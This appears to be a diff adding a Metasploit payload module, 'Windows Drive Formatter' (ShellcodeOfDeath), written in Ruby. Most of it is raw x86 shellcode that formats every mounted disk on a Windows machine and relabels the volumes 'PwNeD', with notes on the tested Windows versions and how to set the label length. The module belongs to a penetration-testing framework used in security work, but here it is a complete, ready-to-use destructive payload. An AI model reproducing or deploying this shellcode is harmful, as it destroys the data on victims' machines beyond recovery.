|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +### |
| 7 | +# Shellcode Of Death |
| 8 | +# |
| 9 | +# Test bed: |
| 10 | +# x86: Windows XP SP3, Windows 2003 SP2, Windows 7 |
| 11 | +# x64: Windows 8.1 |
| 12 | +# |
| 13 | +### |
| 14 | + |
| 15 | +require 'msf/core' |
| 16 | + |
| 17 | +module Metasploit3 |
| 18 | + |
| 19 | + Rank = ManualRanking |
| 20 | + |
| 21 | + include Msf::Payload::Windows |
| 22 | + include Msf::Payload::Single |
| 23 | + |
| 24 | + def initialize(info = {}) |
| 25 | + super(update_info(info, |
| 26 | + 'Name' => 'Windows Drive Formatter', |
| 27 | + 'Description' => %q{ |
| 28 | + This payload formats all mounted disks in |
| 29 | + Windows (aka ShellcodeOfDeath). |
| 30 | +
|
| 31 | + After formatting, this payload sets the |
| 32 | + volume label to the string specified in |
| 33 | + the VOLUMELABEL option. If the code is |
| 34 | + unable to access a drive for any reason, |
| 35 | + it skips the drive and proceeds to the |
| 36 | + next volume. |
| 37 | + }, |
| 38 | + 'Author' => [ 'Ashfaq Ansari <ashfaq_ansari1989[at]hotmail.com>', |
| 39 | + 'Ruei-Min Jiang <mike820324[at]gmail.com>' |
| 40 | + ], |
| 41 | + 'License' => MSF_LICENSE, |
| 42 | + 'References' => |
| 43 | + [ |
| 44 | + [ 'URL', 'http://hacksys.vfreaks.com/research/shellcode-of-death.html' ], |
| 45 | + [ 'URL', 'https://github.com/hacksysteam/ShellcodeOfDeath' ], |
| 46 | + ], |
| 47 | + 'Platform' => 'win', |
| 48 | + 'Arch' => ARCH_X86, |
| 49 | + 'Privileged' => true, |
| 50 | + )) |
| 51 | + |
| 52 | + # EXITFUNC is not supported |
| 53 | + deregister_options('EXITFUNC') |
| 54 | + |
| 55 | + # Register command execution options |
| 56 | + register_options( |
| 57 | + [ |
| 58 | + OptString.new('VOLUMELABEL', [ false, "Set the volume label", "PwNeD" ]) |
| 59 | + ], self.class) |
| 60 | + end |
| 61 | + |
| 62 | + def generate |
| 63 | + |
| 64 | + volume_label = datastore['VOLUMELABEL'] || "" |
| 65 | + encoded_volume_label = volume_label.to_s.unpack("C*").pack("v*") |
| 66 | + |
| 67 | + # Calculate the magic key |
| 68 | + magic_key = encoded_volume_label.length + 28 |
| 69 | + |
| 70 | + # Actual payload |
| 71 | + payload_data = "\xeb\x5a\x31\xc0\x8b\x34\x83\x01\xd6\x53\x50\x31\xdb\x31\xc0\xac\xc1\xc3\x05\x01\xc3\x83" + |
| 72 | + "\xf8\x00\x75\xf3\xc1\xcb\x05\x39\xcb\x58\x5b\x74\x03\x40\xeb\xde\xc3\x89\xd0\x8b\x40\x3c" + |
| 73 | + "\x8b\x44\x02\x78\x8d\x04\x02\x50\x8b\x40\x20\x8d\x1c\x02\xe8\xc3\xff\xff\xff\x5b\x8b\x4b" + |
| 74 | + "\x24\x8d\x0c\x0a\x66\x8b\x04\x41\x25\xff\xff\x00\x00\x8b\x5b\x1c\x8d\x1c\x1a\x8b\x04\x83" + |
| 75 | + "\x8d\x04\x02\xc3\x31\xc9\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x40\x1c\x8b\x50\x08\x8b" + |
| 76 | + "\x78\x20\x8b\x00\x3a\x4f\x18\x75\xf3\x68\x64\x5b\x02\xab\x68\x10\xa1\x67\x05\x68\xa7\xd4" + |
| 77 | + "\x34\x3b\x68\x96\x90\x62\xd7\x68\x87\x8f\x46\xec\x68\x06\xe5\xb0\xcf\x68\xdc\xdd\x1a\x33" + |
| 78 | + "\x89\xe5\x6a\x07\x59\x31\xff\x83\xf9\x01\x75\x0c\x51\xeb\x1c\x8b\x44\x24\x1c\xff\xd0\x89" + |
| 79 | + "\xc2\x59\x51\x8b\x4c\xbd\x00\xe8\x6b\xff\xff\xff\x59\x50\x47\xe2\xe0\x89\xe5\xeb\x0f\xe8" + |
| 80 | + "\xdf\xff\xff\xff\x66\x6d\x69\x66\x73\x2e\x64\x6c\x6c\x00\xeb\x7e\x5e\x6a\x17\x59\x89\xcf" + |
| 81 | + "\x31\xd2\x52\x52\x6a\x03\x52\x6a\x03\x68\x00\x00\x00\xc0\x56\x8b\x5d\x14\xff\xd3\x50\x83" + |
| 82 | + "\xec\x04\x31\xd2\x52\x8d\x5c\x24\x04\x53\x52\x52\x52\x52\x68\x20\x00\x09\x00\x50\x8b\x5d" + |
| 83 | + "\x08\xff\xd3\xff\x74\x24\x04\x8b\x5d\x0c\xff\xd3\x8d\x86" + |
| 84 | + # You need to adjust this. Logic: encoded_volume_label.length + 28 |
| 85 | + [magic_key].pack("C") + |
| 86 | + "\x00\x00\x00\x50\x68\x00\x10\x00\x00\x6a\x01\x8d\x86\x1a\x00\x00\x00\x50\x8d\x86\x10\x00" + |
| 87 | + "\x00\x00\x50\x6a\x0c\x8d\x46\x08\x50\x8b\x5d\x00\xff\xd3\x68\xc8\x00\x00\x00\x8b\x5d\x04" + |
| 88 | + "\xff\xd3\x89\xf9\x83\x46\x08\x01\xe2\x8d\x6a\x00\x8b\x5d\x10\xff\xd3\xe8\x7d\xff\xff\xff" + |
| 89 | + "\x5c\x00\x5c\x00\x2e\x00\x5c\x00\x43\x00\x3a\x00\x5c\x00\x00\x00\x4e\x00\x54\x00\x46\x00" + |
| 90 | + "\x53\x00\x00\x00" + |
| 91 | + # Volume Label, default: PwNeD |
| 92 | + encoded_volume_label + |
| 93 | + "\x00\x00\x55\x89\xe5\x31\xc0\x40\x5d\xc2\x0c\x00" |
| 94 | + end |
| 95 | +end |
0 commit comments